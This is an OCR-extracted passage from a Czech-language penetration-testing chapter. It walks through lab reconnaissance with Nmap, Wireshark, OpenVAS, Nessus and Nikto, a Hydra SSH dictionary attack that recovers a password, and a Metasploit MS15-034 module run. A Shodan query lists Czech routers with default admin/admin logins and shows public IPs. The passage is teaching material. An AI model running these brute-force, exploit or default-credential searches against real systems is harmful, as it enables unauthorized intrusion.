vCetné digitalni komunikace (email, konverzace na socialni siti) nebo verbalni
komunikace. Jednou z forem je ,phising“, vyuZzivajici rozesilani podvodnych emailg,

které se tvari vérohodné.
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8 Praktické ovéreni navrzenych scénaru

Minula kapitola byla vénovana teoretickému pristupu navrzeného scénare,
tato kapitola bude obsahovat popis z praktického hlediska. K jednotlivym fazim
penetracniho testovani bude doporucen nastroj, ktery je mozné pouzit a kratka
ukazka modelového prikladu. Autor publikace vychazi z metodik NIST a OSSTMM.

V této kapitole bude testovana sitova infrastruktura, pozdéji dva serverové
operacni systémy, konkrétné Windows Server 2003 a Windows Server 2012 R2
a aplikace na nich béZici. Obrazek niZe popisuje, jaké nastroje byly pouzity na jaké
technologie. Na obrazku nejsou vSechna zarizeni v siti, pouze ty stéZejni pro

publikaci.

/"‘ Penetraéni nastroj: Nmap, Wireshark, Nessus, OpenVAS “‘\

(r - )

ASUS RT-N12plus
(192.168.0.7)
(( ])) Printer (192.168.0.150)
Phone (152.168.0.144)
PN Penetratni nastroj: Hydra, Metasploit
[#27107 o] =
] ]
v/ 770 | £EFIET o]
e L5 L5 v
| FTTIIT o]
Windows Server 2003 (192.168.0.210) é é (FLIIIT o]
\ Windows 10 (192.168.0.15) Windows 8.1 (192.168.0.260) | \windows Server 2012 R2 (192.163.0.222) /
.‘\\ 4’/,
Internet
e <::>

Firewall (152.166.0.1)

Obrazek 9 Sitova infrastruktura
Zdroj: Vlastni zpracovani

Kapitola bude chronologicky setiidéna podle toho, na jakou vrstvu sméruje
vektor utoku. Hardwarova vrstva, pod tento pojmem jsou zafazeny nastroje, které
maji co docinéni s vlastnim firmwarem zarizeni nebo komunikaci na drovni ramci,
paketi. Vrstva operacniho systému, v tomto piipadé je vektorem utoku vlastni
operacni systém. Naopak v aplika¢ni vrstvé je cilem Utoku vlastni aplikace,

databize a tak dale.
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Hardwarova
vrstva

Operacni
systém

Aplikaéni
vrstva

Obrazek 10 Model vrstev podle navrZeného scénare
Zdroj: Vlastni zpracovani

8.1 Provedeni pruzkumu a identifikace bezpec¢nostnich slabiny

Nmap

Simulovana je situace, kdy se provadi interni penetra¢ni testovani. Tester je
piipojen v lokalni siti a rozhlizi se, jaka zarizeni jsou kolem a které sluzby jsou na
nich spustény, pripadné jejich verze. Existuje vice moZnosti, které nastroje zvolit.
Podle pridélené adresy z DHCP je patrné, Ze sitova infrastruktura je pravdépodobné
v podsiti 192.168.0.0 s prefixem /24. Tato podsit bude dale podrobena
podrobnéjSimu zkoumani.

Nastroj Nmap poskytne informace a rozhled v okoli. Nabizi nékolik typt
skent, které prochazi TCP a UDP porty, skenuji zatizeni v rozsahu, zjistuji identitu
0S. Nmap nabidne funkcionalitu vystupu do XML dokumentu, vystupu do databaze
¢i textového souboru. Disponuje integrovanou sadou nastroji pro benchmarking
sité, porovnani vysledkl riznych skent. Mezi zakladni skeny patri TCP SYN, TCP
Connect, UDP, SCTP INIT, TOP NULL.

Prvnim dilezitym krokem je nalezeni systémi a zarizeni v siti, ktera reaguji
na sitovou komunikaci, tudiz jsou zajimavé pro dalsi ¢asti penetracniho testovani.
Nmap ma hned nékolik prepinaci, kterymi je 1ze najit. Zakladem je ping sken, ktery
pracuje s ICMP protokolem. DalSi zajimavou technikou je ACK ping, vyuziva TCP/IP
stavili operacnich systémi, které podporuji normu RFC 793. Timto testem se skenuji
systémy, které maji zakazano komunikovat pres ICMP. Nicméné stavové firewally
tuto techniku znaji a segmenty zahazuji. TCP NULL sken (prepinac -sN) vraci seznam

aktivnich zarizeni v urcitém rozsahu IP adres.
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:~# nmap -sN 192.168.0.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-21 02:27 EDT
Nmap scan report for 192.168.0.1
Host is up (0.0094s latency).
All 1000 scanned ports on 192.168.0.1 are closed
MAC Address: 9@:78:B2:9B:49:61 (Xiaomi Communications)

Nmap scan report for 192.168.0.3

Host is up (@.095s latency).

All 120@ scanned ports on 192.168.8.3 are open|filtered
MAC Address: @C:8B:FD:A1:24:12 (Intel Corporate)

Nmap scan report for 192.168.0.7

Host is up (©.0083s latency).

ALl 1000 scanned ports on 192.168.08.7 are open|filtered
MAC Address: F4:6D:04:37:D&:E2 (Asustek Computer)

Nmap scan report for 192.168.0.10
Host is up (@.0047s latency).
Not shown: 996 closed ports
STATE SERVICE
open|filtered ssh
open|filtered http
open|filtered https
50000/tcp open|filtered ibm-db2
MAC Address: 4C:52:62:45:DE:26 (Fujitsu Technology Solutions GmbH)

Nmap scan report for 192.168.0.11

Host is up (@.0055s latency).

All 1000 scanned ports on 192.168.8.11 are open|filtered

MAC Address: ©00:19:99:74:B9:85 (Fujitsu Technology Solutions GmbH)

Nmap scan report for 192.168.0.14

Host is up (0.0050s latency).

All 1000 scanned ports on 192.168.0.14 are open|filtered
MAC Address: 74:2B:62:7C:55:D2 (Fujitsu Limited)

Nmap scan report for 192.168.0.15

Host is up (0.0058s latency).

All 1000 scanned ports on 192.168.0.15 are open]Filtered
MAC Address: @@:15:5D:08:0F:03 (Microsoft)

Obrazek 11 Nmap sken zarizeni v siti
Zdroj: Vlastni zpracovani

TCP SYN sken je tim nejzakladnéjSim typem, nabidne uZivateli vSechny
potirebné informace. Skenuje tisice porti za vterinu, pri skenovani nedokon¢i TCP
pripojeni, tim nevzbuzuje tolik pozornosti. TCP Connect sken posila poZadavky
zatizenim a Ceka na jejich odpovéd'. Skenovani trva déle neZ u SYN skenu, nicméné
generuje spolehlivéjsi informace. UDP sken funguje podobné jako predchozi TCP
Connect sken, ale pouZziva navic UDP pakety ke skenu DNS, SNMP a DHCP portt. Tyto
porty jsou nejcastéjSim cilem hackerti. SCTP INIT sken se hodi pti penetra¢nim
testovani zvenci, nevzbuzuje tolik pozornosti. TOP NULL sken vyuziva externi
penetracni testovani. Vzhledem k propracované technice skenovani dokaze odhalit
oteviené porty, aniz by aktivné na tyto porty cilil. Diky tomu zjisti jejich stav, i kdyz
jsou chranéné firewallem. Jediné kombinaci nékolika typl vyhledavani lze ziskat

komplexni pohled na celkovou sit a povédomi o vSech zarizenich.
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DalSim krokem je zjisténi verzi spusténych sluzeb. Penetracni tester hleda

neaktualizované sluzby, u kterych je vétsi riziko bezpecnostnich slabin.

:~# nmap 192.168.8.250 -sV
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-23 ©6:13 EDT
Nmap scan report for 192.168.8.250
Host is up (@.00835s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.8)
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 8.5
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc  Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/vers
ion, please submit the following fingerprint at https://nmap.org/cgi-bin/su
bmit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=7/23%Time=5F1962E6%P=x86_64-pc-1linux-gnu%r(DNSV
SF:ersionBindReqTCP,20, "\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\xB7version’
SF:xB4bind\@\0\x16\0\x03");
MAC Address: 00:15:5D:F7:9E:82 (Microsoft)
Service Info: 05: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.35 seconds

Obrazek 12 Nmap sken spusténych sluzeb
Zdroj: Vlastni zpracovani

Funkce sken operac¢nich systémi je velmi uZiteCnym nastrojem (piepinac - 0),
nmap posle TCP a UDP pakety urc¢itému portu a analyzuje odpovéd se vzorky
v databazi. V databazi ma uloZeno vice nez 2600 vzorkd odpovédi z riznych OS.
Vysledkem je identifikace OS a jeho verze. Z vysledki je moZné vyvodit, Ze na
zatizeni s IP adresou 192.168.0.210 je pravdépodobné spustén webovy server,

telnet, ftp, mysql DB a dalsi sluzby.
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:~# nmap 192.168.0.210 -0
Starting Nmap 7.80 ( https://nmap.org ) at 2820-07-21 ©2:37 EDT
Nmap scan report for 192.168.0.210
Host is up (0.0030s latency).
Not shown: 983 filtered ports

STATE SERVICE

open  ftp

open telnet

open  domain

open  http

open  hosts2-ns

open netbios-ssn

open  https

open microsoft-ds

closed expl

open  ff-fms

closed pptp

closed EtherNetIP-1

open  mysql

open  ms-wbt-server

open rfe

open  http-proxy

open intermapper
MAC Address: 00:15:5D:00:DD:8D (Microsoft)
Aggressive 0S5 guesses: Microsoft Windows Server 2803 SP2 (91%), Microsof
t Windows XP SP3 (91%), Microsoft Windows Fundamentals for Legacy PCs (X
P Embedded derivative) (9@%), Microsoft Windows XP SP2 (90%), Microsoft
Windows XP (90%), Microsoft Windows Server 2003 SP1 - SP2 (87%), HP Lase
rlet 4250 printer (87%), SMC 7984WBRA-N wireless ADSL router (86%), Micr
osoft Windows XP SP2 or Windows Server 2003 SP2 (86%), LNL-3300 Intellig
ent System Controller (86%)
No exact 0S matches for host (test conditions non-ideal).
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds

Obrazek 13 Nmap sken operacniho systému
Zdroj: Vlastni zpracovani

Komplexni vypis dostaneme s pirepinacem - 4, vysledkem je vétsi mnozstvi
informaci. Vypis obsahuje informace o celkovém poctu prohledavanych portd,
otevienych portech, sluzbach, fyzické adrese zarizeni.

Analyza sitové komunikace operacniho systému

Dals$im logickym krokem je analyza sitového provozu, tedy zjiSténi, co se
v siti vlastné odehrava. Pro tento UcCel se nabizi vybrat nastroj Wireshark. Analyzou
je zjisténi, zda zarizeni komunikuji, jak by méli. Mohou se zde objevit Spatné
nastavené white listy nebo pravidla na firewallu a tak dale. Zkratka shromazdéni
dalsich dilezitych informaci pro penetracniho testera.

Wireshark zachycuje prichozi a odchozi pakety. Nejprve je nutné zvolit
interface, ktery ma Wireshark pouzit a nasledné stisknout tlacitko capture.
V grafickém rozhrani je nékolik sloupcti, je zde vidét Cas, zdrojova IP adresa, cilova
[P adresa, protokol a souvisejici informace. Pro lepsi prehlednost jsou zaznamy

s N7

logicky tridény podle barev. Kazdy radek predstavuje jeden paket. Paket je mozné
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rozkliknout a podivat se na néj detailnéji. Sledovani provozu lze nechat spusténé
néjaky cas, pak zaznam ulozit a zkoumat jej zpétné. Vcetné riiznych statistik,

zkoumani typu komunikace v siti a tak dale.

Shodan

Nastroj Shodan je vhodny, pokud penetracni tester testuje sit zvenci, externé.
Shodan nabidne informace, aniz by vzbudil pozornost. NiZe je ukazka dotazu,
v databazi se hledaji vSechny dostupné routery modelu TP-LINK WR841N,
nachazejici se v Ceské Republice, které maji nastavené vychozi uZivatelské jméno a
heslo. Tento dotaz je velmi obecny, nicméné lze cilit i na konkrétni sit, ktera je
v rozsahu testovani. Je potieba pocitat s tim, Ze vysledky vyhledavani nemusi byt
aktualni.

admin/admin country:CZ product:"TP-LINK WR841N WAP http config“

.’. SHODAN admin/admin country:CZ product:"TP-LINK WR841M e} # Explore Downloads Reports Pricing Enterprise Access

#% Maps % Share Search & Download Results |l Create Report

#, Exploits

New Service: Keep track of what you have connected to the Internet, Check out Shodan Monitor

20

86.49.147.212&
AP sobol HTTR/1.1 481 N/A
B Caschiz, Petriald er: Router Webserver
ion: close
Authenticate: Basic realm="TP-LINK Wireless N Router WRB4IN™
Content-Type: text/html
<IDOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.81 Transitional//EN"
“http:/fwww. w3 org/TR/htmld/loose. dtd”>
Czechia 20 L
<HEAD®

<TITLE>Login Inco...

Usti nad Labem 2
e : 91.229.253.116 (&'
Vyprachtice 1 " - :
. HTTP/1.1 421 Nia
Sezemice 1 NITEX ISP s.ro. X
er: Router Webserver
Phibram 1 .
B Czechiz, Mariznske Radsice ion: close
WWH-Authenticate: Basic realm="TP-LINK Wireless N Router WRB4IN™
Content-Type: text/html
3081 1
HTTP (8121) 3 <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.91 Transitiomal//EN"
2009 g “http:/fwww. w3 org/TR/htmld/loose. dtd”>
<HTHL>
Webmin 1
<HEAD>
8083 1
<TITLE>Login Inco...
BECO Linkspol.s.ro 4 188.175.7.88 &
UPC Ceska Republika 3 HTTE/1.1 481 NfA
TINET sro. 2 RIO Media 5 Router Webserver
RIO Media 2 B Czechiz, FricekMistek onnection: close
a-net Liberec s.r.o. 1 WH-Authenticate: Basic realm="TP-LINK Wireless M Router WRB4INT

ent-Type: text/himl

DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.81 Transitional//EN™
ttp:/ feww. w3 org/TR/hEml4/ loose . did">

HTHL>
AD>

<TITLE>Login Inco...

Obrazek 14 Ukazka prace s nastrojem Shodan
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Zdroj: Vlastni zpracovani
OpenVAS

Nastroj OpenVAS slouzi pro sken zranitelnosti. Nize je ukazano, jak
prehledné reporty generuje. Pred samotnym skenem je vhodné aktualizovat
databazi zranitelnosti. Prace sprogramem je velmi intuitivni, v podstaté staci
nastavit cil (IP adresu) zarizeni, parametry skenu je mozZné konfigurovat nebo
nechat vychozi hodnoty. Zranitelnosti jsou roztridény do Ctyr kategorii dle
zavaznosti: high, medium, low, log. Penetrac¢ni tester by mél posoudit kazZdou
zranitelnost zvlast. Nasledujici odstavec zhodnoti uroven zabezpeceni zarizeni s [P
adresou 192.168.0.210. A také, zda by bylo moZné zaudtocit na zakladé nalezenych

zranitelnosti. Ukazka vysledného reportu je na obrazku nize.

Greenbone Security A 4 Greenbone Security A: X 2 MS15-034: Vulnerabi X |+

c @ D fa 127.0.0.1 v O % In @ ®
Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter @ Offensive Security Exploit-DB GHDB @ MSFU

)
)ﬂ- Dashboard Scans Assets Secinfo ‘J‘-j Configuration Extras Administration

B High

Medium 2

80
Low -
Log

C : Hese 60

Julle ‘
Detection TTP 50
Multiple . 40
PHP »
) Vulnerability 20
vmwmu ies 10
o

T
N/A012345675910

EESSNEESs

PHP '_php_stream_scandir()' Buffer Overflow Vulnerability (Windows) 80% 192.168.0.210 818l/tcp Tue Jul 21 07:17:50 2020
PHP '_php_stream_scandir()' Buffer Overflow Vulnerability (Windows) 80% 192.168.0.210 8080/tcp Tue Jul 21 07:17:50 2020
PHP '_php_stream_scandir()' Buffer Overflow Vulnerability (Windows) 80% 192.168.0.210 443/tcp  Tue)ul 21 07:17:50 2020
MySQL End Of Life Detection (Windows) 80% 192.168.0.210 3306/tcp TueJul 21 07:18:07 2020
PHP 'phar_fix_filepath' Function Stack Buffer Overflow Vulnerability - Mar16 (Windows) \J igl 80% 192.168.0.210 8181/tcp Tue jul 21 07:20:52 2020

PHP 'phar_fix_filepath' Function Stack Buffer Overflow Vulnerability - Mar16 (Windows) 80% 192.168.0.210 8080/tcp Tue Jul 21 07:20:52 2020

EEEEEEEE

PHP 'phar_fix_filepath' Function Stack Buffer Overflow Vulnerability - Mar16 (Windows) wJ 0.0 (Hig! 80% 192.168.0.210 443/tcp  Tue)ul 21 07:20:52 2020
PHP 'type confusion' Denial of Service Vulnerability (Windows) LJ ig} 80% 192.168.0.210 8181/tcp Tue jul 21 07:21:59 2020
PHP 'type confusion' Denial of Service Vulnerability (Windows) LJ igl 80% 192.168.0.210 8080/tcp Tuejul 21 07:21:59 2020
QD 5 tDonialaf s " il daws) SESETVrTESSS o0, 302 3c0003 PPEYS Tuolul23 0203502000

Obrazek 15 OpenVAS sken zarizeni 192.168.0.210
Zdroj: Vlastni zpracovani

Zarizeni sIP adresou 192.168.0.210 nebylo delSi dobu aktualizovano,
vzhledem k verzim spusténych sluzeb (PHP, MySQL a dalsi). Operacni systém
zarizeni Windows Server 2003 neni Microsoftem podporovany, neni moZné
stahovat aktualni bezpecnostni aktualizace, operacni systém se nejevi jako

bezpeény. Utok by nebyl slozity, bylo zjisténo velké mnozstvi Kritickych
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zranitelnosti operacniho systému, spusténych sluzeb a chyb v konfiguraci. Velkym
nedostatkem se jevi neaktualizované verze PHP serveru, OpenVAS nasel nékolik
moZnosti zneuziti. DalSi zranitelnosti je chybéjici aktualizace oznaCena cCislem
4013389, atoc¢nik miize spustit Skodlivy kod, pokud odesle specidlni pozadavek na
server SMBv1. V databazi MySQL MariaDB je nastavené vychozi heslo. Nalezenych
kritickych zranitelnosti je vic, ale vzhledem kvelkému poctu nebudou dale

rozepisovany.

4 Greenbone Security Ass X

< c @ 2 w In 0 &
Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter @ Offensiv urity Exploit-DB GHDB @ MSFU

Dashboard Scans Assets Secinfo Configuration Extras Administration

M High
Medium
Low HTTP
1 Log Remote
Enumeration
Report Detection

Services

Suites

26
24
22
20
18
16
14
12
10
25 8
6
a4
2
0

Vet um

MS15-034 HTTR.sys Remote Code Execution Vulnerability (remote check) 95% 192.168.0.222 80/tcp Tuejul 21 12:11:41 2020
Report cutdated / end-oflife Scan Engine / Environment (lecal) 97% 192.168.0.222 generalftcp Tue Jul 21 12:01:26 2020

DCE/RPC and MSRPC Services Enumeration Reporting 80% 192.168.0.222 135/tcp Tue jul 21 12:06:28 2020

r

SSL/TLS: Report Weak Cipher Suites 98% 192.168.0.222 3389/tcp Tue Jul 21 12:06:07 2020

| T0.01Hign} |
edium) |
bedium) |

SSL/TLS: Certificate Signed Using A Weak Signature Algorithm [ITTTTEM 80% 192.168.0.222 3389/tcp Tue Jul 21 12:06:27 2020
Medium) _|
026 (Low) |

| )
SSL/TLS: Diffie-Hellman Key Exchange Insufficient DH Group Strength Vulnerability o 80% 192.168.0.222 3389/tcp Tue Jul 21 12:09:10 2020
TCP timestamps 5] 80% 192.168.0.222 generalftcp Tuejul 21 12:08:13 2020
Services 80% 192.168.0.222 80jtcp Tue Jul 21 12:01:27 2020
DCE/RPC and MSRPC Services Enumeration 5] 80% 192.168.0.222 135ftcp Tue Jul 21 12:02:27 2020
SMB/CIFS Server Detection 80% 192.168.0.222 445/tcp Tue Jul 21 12:02:27 2020

VApply to page contents v

Obrazek 16 OpenVAS sken zarizeni 192.168.0.222
Zdroj: Vlastni zpracovani

Zarizenis IP adresou 192.168.0.222 je na tom podstatné 1épe, vétSina hlaSeni
je pouze informativnich. Kritickou slabinou se jevi nenainstalovana bezpec¢nostni
zaplata na opravu bezpecnostni chyby MS15-034, tito¢nik miiZe spustit DoS utok,
pokud posle specialné vytvoreny pozadavek HTTP postizenému systému. Ukazka

zneuZiti této slabiny bude v dalsi podkapitole.
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Nessus

& Install Nessus vulnerabil X Nessus Essentials / Fold: X £ Problem loading page

< ¢ & A localhost ses v mmoe =
Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter @ Offensive Security @& Exploit-DB GHDB & MSFU

Sus Scans  Sttings & aamn @
My Basic Network Scan / 192.168.0.250 Configure  Audit Trail Launch ~ Repot ~  Expor ~
_ < Back to Hosts
i@ MyScans 1
B AlSc
Lt Vulnerabilities | 19
i Tmsh
Fiter =
ﬂ Palicies Sev Name Family Count Host 192.168.0.250 -
B Pugin Rules
m DCE Services Enumeration Windows 9
& Scamners Host Details
B Nessus SYN scanner Port scanners 4
IP: 192.168.0.250
MAC: 00:15:5D:F7:9E:02
;. Communit NFO 3 HTTP (Multiple Issues) Web Servers 3
J - " 0s: Microsoft Windows Server 2012 R2
Y e Start Today at 6:26 AM
DNS Server Detection DNS 2
End: Today at 6:33 AM
Elapsed: 7 minutes
m Service Detection Service detection 2
KB Dawnload
= common Platiorm Enumeration (CPE) General 1
Vulnerabilities
Device Type General 1
® critical
High
Ethemet Card Manufacturer Detection Misc. 1 nedium
. Low
IR Etvemet MAC Addresses General 1 * o
Hyper-V Virtual Machine Detection General 1
Tenable News
Link-Local Multicast Name Resolution (LLMNR] D...  Service detection 1
Teltonika Gateway
TSI FE Messus Sean Information Settings 1
site Scripti...
o m 0S Identification General 1
SSH Algorithms and Languages Supported Misc. 1

Obrazek 17 Nessus sken zarizeni 192.168.0.250
Zdroj: Vlastni zpracovani

Na obrazku vyse je vidét report z nastroje Nessus, coz je alternativa k nastroji
OpenVAS. Instalace je velmi jednoducha a grafické rozhrani je dle autora publikace
propracovanéjsi a intuitivnéjsi. Hledani bezpecnostnich slabin probéhlo na zarizeni
soperatnim systémem Windows Server R2, nebyly nalezeny Zadné kritické
bezpecnostni slabiny. Tento vysledek byl predvidatelny, vzhledem k aktualnéjsimu
opera¢nimu systému, na kterém jsou instalovany nejnovéjsi aktualizace systému
i spusténych sluzeb.

Obsahem vypisu byla informativni hlaSeni v¢etné spusténych sluzeb, detekce
operacniho systému, otevienych portl. Nastroj zjistil, Ze se jedna o virtualni stroj,
ktery je spustén na platformé Microsoft Hyper-V. Objevil pravdépodobné
nenakonfigurovany webovy server IIS, tuto skute¢nost odhadl z vychozi uvitaci
stranky a nékolik dal$ich informativnich hlaseni.

Mezi obéma nastroji jsou urcité rozdily. OpenVAS je na rozdil od Nessusu

bezplatny nastroj s otevienym zdrojovym kddem, popularni je hlavné mezi mensimi
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a stfednimi organizacemi, obsahuje databazi s mensSim poltem zranitelnosti
v porovndani s nastrojem Nessus. Nicméné cena nastroje Nessus je 84.073 K¢ za rok.
Nikto

V dalsi sekci si ukaZeme praci s nastrojem Nikto, ktery analyzuje webovy
server. Tento nastroj je dostupny napriklad v distribuci Kali Linux. Predpokladejme
situaci, ve které jsme nastrojem Nmap shromazdili informace, ze kterych vyplynulo,
Ze na zarizeni je spuStén webovy server. Nikto testuje webovy server, hleda zakladni
zranitelnosti: Spatna konfigurace, skryté soubory a tak dale. Ziskané informace se
tykaji prevazné frontendu webové aplikace. Pokud pridame parametr -h, jedna se
o komplexni sken, obsahujici veskeré informace, které nastroj mtiZe poskytnout.

Obrazek nize predstavuje Cast informaci, které jsou vysledkem skenu. Ze
shromazdénych informaci Ize vidét, Ze webové aplikaci chybi zabudovany filtr proti
XSS. Ovérovani zdroje neni nastavené v hlavicce podle MIME typu, stranka je
nachylna ktzv. content-sniffingu, prohliZze¢ miliZe spustit java script v textovém
souboru. Podle struktury sloZek je mozné odhadnout, Ze se jedna o redakcni systém
WordPress, ktery béZzi na neaktualizovaném Apache serveru. Nasleduje faze
analyzovani informaci, penetracni tester by mél filtrovat, co je pro néj dilezité
z hlediska mozZného Utoku a rozhlédnout se v databazich po moZnych exploitech

podle verzi spusténych sluZeb a dalSich informaci.
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Target Port: 80
Start Time: 2020-07-20 06:38:31 (GMT-4)

Server: Apache/2.4.10 (Debian)

The anti-clickjacking X-Frame-Options header is not present.

The X-XSS-Protection header is not defined. This header can hint to the u
ser agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user a
gent to render the content of the site in a different fashion to the MIME t
ype
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/feed/' in robots.txt returned a non-forbidden or redirect HTTP co
de (200)
+ Entry '/wp-admin/' in robots.txt returned a non-forbidden or redirect HTT
P code (302)
+ Entry '/wp-content/' in robots.txt returned a non-forbidden or redirect H
TTP code (200)
+ Entry '/xmlrpc.php' in robots.txt returned a non-forbidden or redirect HT
TP code (200)
+ "robots.txt" contains 7 entries which should be manually viewed.
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37).
Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may caus
e false positives.

Obrazek 18 Nikto sken webové aplikace
Zdroj: Vlastni zpracovani

8.2 Exploit

Hydra

Jednou z moZnosti, jak zacit vlastni exploit, je ,password cracking” Pokud
faze prizkumu neodhalila zavazné bezpecnostni nedostatky, je to jedna z mala
moznosti, které zbyvaji. Existuje nékolik nastrojli, které jsou vhodné pro tuto
techniku. V této publikaci bude predstaven nastroj Hydra. Na internetu existuje
velké mnoZstvi volné dostupnych slovnikii hesel, nékteré se tykaji konick, jazyki,
seriall a tak dale. Nebo popularnich prolomenych hesel, které hacketi shromazd'uji.
Jeden z téchto slovnikid byl pouzit.

Nastroj je ukdzan na modelové situaci. Z prizkumu byly zjistény nasledujici
informace. Zarizeni, na které se utoci, ma nejnovéjsi verzi Linuxu distribuce Ubuntu,
byla nalezena spusSténa SSH sluZzba, slouZici jako zabezpeceny komunikacni
protokol. Cilem Gtoku bude pravé SSH sluzba. Na zarizeni je zaloZen uzivatel admin
s heslem ondra. Penetrac¢ni tester nebo hacker by pravdépodobné uZivatelské jméno

admin nebo administrator zkousel, heslo by se snaZil prolomit.
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# hydra -1 admin -P password_dictionary.txt 192.168.0.165 -t & ssh
Hydra v9. l (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-87-23 09:08:59
[DATA] max & tasks per 1 server, overall & tasks, 12234 login tries (1:1/p:12234), ~3059 tries per task
[DATA] attacking ssh://192.168.0.165:22/

[STATUS] - tries/min, 36 tries in 0@:@01h, 12198 to do in @5:3%9h, &4 active
[STATUS] 5 tries/min, 84 tries in @@:03h, 12150 to do in @7:1&4h, 4 active
[STATUS] . tries/min, 1B4 tries in @0:07h, 12050 to do in @7:39h, 4 active
[sTATUS] .60 tries/min, 384 tries in @@:15h, 11850 to do in @7:43h, &4 active
[STATUS] 5 tries/min, 804 tries in @@:31h, 11430 to do in @7:21h, 4 active
[STATUS] - tries/min, 1204 tries in 0@:47h, 11830 to do in 07:11h, 4 active
[STATUS] 5 tries/min, 1604 tries in 81:63h, 10630 to do in 06:58h, 4 active
[STATUS] . tries/min, 2804 tries in 01:1%h, 10230 to do in B6:44h, &4 active
[STATUS] - tries/min, 2424 tries in 01:35h, 9810 to do in @6:25h, 4 active
[STATUS] , tries/min, 2824 tries in @1:51h, 9418 to do in @6:18h, &4 active
[22][ssh] host: 192.168.0.165 login: admin password: ondra

1 of 1 target successfully completed, 1 valid password found

Hydra (https //github.com/vanhauser-thc/thc-hydra) finished at 2020-07-23 11:09:02
# ssh admin@®192.168.0.165

adming192. 168 0.165's password:

Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic xB6_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

379 updates can be installed immediately.
122 of these updates are security updates.
To see these additional updates run: apt list —upgradable

Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Thu Jul 23 14:51:40 2020 from 192.168.0.122
admingondrej-Virtual-Machine:~$ I

Obrazek 19 Hydra slovnikovy autok na zarizeni 192.168.0.155
Zdroj: Vlastni zpracovani

Slovnik, staZeny z internetu obsahoval 12 234 vyrazi. Utok byl spustén
prikazem, ktery je vidét na obrazku 17. Parametr -/ definuje uzivatelské jméno,
parametr -P soubor neboli slovnik, odkud nastroj ¢erpa vyrazy. Parametr -t urcuje,
kolik vlaken ma byt vyuzito, instrukce k nastroji radi pouzit Ctyti. Naposled je
definovan cil itoku SSH. Rychlost titoku se pohybovala kolem 25 pokusii za minutu.
Pokud by nedoslo ke shodég, itok by byl spustény zhruba sedm hodin. Poté by byly
vsechny vyrazy ve slovniku vyzkou$eny. Utok byl tispésny po dvou hodinach, kdy
bylo nalezené spravné heslo ondra. [39]

Metasploit

Vzhledem k prizkumu z predchozi faze bylo zjisténo, Ze server s IP adresou
192.168.0.222 ma bezpecnostni slabinu MS15-034. OpenVAS tuto slabinu ohodnotil
na Skale od jedné do deseti cislem deset, tedy jako kritickou zranitelnost. NiZe je
ukazka, jak s nastrojem pracovat. Jedna se o DoS utok, vysledkem je vypnuti stroje
nebo sluzby. Utok cili na operaéni systém Windows 8.1, Windows Server 2012
a Windows server 2012 bR2. V pripad€, Ze operacni systém je provozovan na
VMware Workstation, vyuziti exploitu vede k,modré smrti“. Nicméné
virtualizovana zarizeni na platformé VMware ESX nebo fyzické stroje se zdaji byt

stabilni.
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Nejprve je nutné nastroj spustit z prikazové radky prikazem msfconsole.
Nasledné je vybran exploit piikazem use a zvolen cil Gtoku., V poslednim kroku staci
spustit exploit prikazem run. Pokud by byl utok uUspésny, zarizeni se stane na
néjakou dobu nedostupné. To je mozné ovérit dostupnosti sluzeb nebo jinym

zplisobem (napf. ping, pokud firewall povoluje ICMP odezvu). [38]

msf5 auxiliary( )} > show actions
Auxiliary actions:

Name Description

msf5 auxiliary( ) » set rhost 192,
168.8.222

rhost = 192.168.0.222

msf5 auxiliary( ) > show options

Module options (auxiliary/scanner/http/ms15_034_http_sys_memory_dump):

Name Current Setting Required Description

Proxies A proxy chain of format typ
e:host:port[,type:host:port][ ... ]

RHOSTS 192.168.0.222 yes The target host(s), range C
IDR identifier, or hosts file with syntax 'file:<path>'

RPORT 80 yes The target port (TCP)

SS5L false no Negotiate SSL/TLS for outgo
ing connections

SUPPRESS_REQUEST true yes Suppress output of the requ
ested resource

TARGETURI / no URI to the site (e.g /site/
) or a valid file resource (e.g /welcome.png)

THREADS 1 yes iﬁe number of concurrent th
reads (max one per host)

VHOST HTTP server virtual host

msf5 auxiliary( ) > run

[+] Target may be vulnerable...
[+] Stand by ...
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf5 auxiliary(

Obrazek 20 Ukazka prace s nastrojem Metasploit
Zdroj: Vlastni zpracovani

K nastroji je relativné dobfe zpracovana napovéda, ktera se vyvola
parametrem help nebo otaznikem. Prochazeni exploiti je vyvolano piikazem show
exploits, zadavani piikazli usnadnuje dopliovani prikazi, které je vyvolano klavesou

tab, obzvlast v pripadé psani dlouhych nazvii exploitli. V ptipadé, Ze byla nalezena
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bezpecnostni slabina ve fazi prizkumu, prikazem search lze vyhledat konkrétni
exploit.

Payloads byvaji pouZzity po uspésné provedeném exploitu. Jejich prochazeni
je vyvolano podobné jako u exploitii a to pirikazem show payloads. Ukazkou jednoho
